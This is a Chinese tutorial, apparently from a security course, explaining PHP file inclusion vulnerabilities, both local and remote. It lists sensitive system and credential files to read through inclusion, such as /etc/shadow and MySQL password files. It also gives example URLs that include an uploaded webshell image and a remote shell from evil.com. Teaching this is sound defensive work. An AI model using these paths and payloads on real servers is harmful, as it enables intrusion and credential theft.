本文内容来自蚁景网安课程。
文件包含漏洞概述
认识文件包含
程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,无需再次编写,这种调用文件的过程一般被称为文件包含。这样编写代码能减少代码冗余,降低代码后期维护难度。保证网站整体风格统一,比如:导航栏、底部 footer 栏等。
认识文件包含漏洞
PHP文件包含漏洞的产生原因是在通过PHP的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。很多脚本语言允许通过特殊的指令(如PHP的include)将其它脚本源码文件的内容合并至当前的文件中执行。
PHP文件包含漏洞的特性
只要被包含的文件内容符合PHP语法,不管文件类型是什么,该文件都会被PHP解释器去解释执行,如果文件内容不符合PHP语法,就会将该文件内容读取出来。
PHP中的文件包含
PHP中提供了四个文件包含的函数
include():函数出现错误时,会抛出一个警告,程序继续运行。
require():函数出现错误时,会直接报错并退出程序执行。
include_once():函数出现错误时,会抛出警告,且仅包含一次。
require_once():出错时直接退出且仅包含一次。在脚本执行期间同一个文件可能被多次引用,确保只包含一次以避免函数重定义、变量重新赋值等问题。
文件包含漏洞类型
分类
本地文件包含(最常见)
如果这些特殊的指令(include)所包含的文件路径可控,则恶意攻击者就有可能通过构造特殊的数据将Web服务器限制访问的文件内容包含进来并通过浏览器获取其内容。如果程序还存在上传的功能,攻击者还可以包含上传的文件,这种方式通常被称为本地文件包含。
远程文件包含
如果应用程序的配置还允许包含远程的其它服务器上的文件,恶意攻击者就有可能构造特殊的脚本然后通过包含并予以执行,进而获取Web应用的敏感数据或控制权,这种方式称为远程文件包含。
常见敏感文件
C:\boot.ini //查看系统版本
C:\windows\system32\inetsrv\MetaBase.xml //iis配置文件
C:\windows\repair\same //存储windows系统初次安装密码
C:\ProgramFiles\mysql\my.ini //mysql配置信息
C:\ProgramFiles\mysql\data\mysql\user.MYD //mysql root密码
C:\windows\php.ini //php配置信息
/etc/passwd //账户信息
/etc/shadow //账户密码文件
/etc/apache2/apache2.conf //Apache2默认配置文件
/etc/apache2/sites-available/000-default.conf //虚拟网站配置
/etc/php/5.6/apache2/php.ini //php相关配置
/etc/httpd/conf/httpd.conf //apache配置信息
/etc/my.conf //mysql配置文件
文件包含漏洞的危害
两大点
泄露敏感信息
将操作系统或者某些应用的重要配置文件包含进去,就可通过浏览器查看其内容。
获取服务器权限
只要被包含的文件的内容符合PHP语法,那么程序就会调用PHP解释器去解析该文件,无关后缀是什么。
代码解析
|
|
当提交的URL为http://example.com/file.php?file=add.php时,调用add.php里的样式和内容。
如果提交的URL为http://example.com/file.php?file=upload/picture/evil.jpg
是由黑客上传到服务器的图片,图片内容为一句话木马,那么恶意代码就会被引入当前文件执行。
远程文件包含
http://example.com/file.php?file=[http|https|ftp]://evil.com/shell.txt
前提:allow_url_fopen=On(默认开启)并且allow_url_include=On(默认关闭)。
如何初步判断是否存在漏洞
通过包含本地的文件是否能包含,如果能包含说明存在漏洞。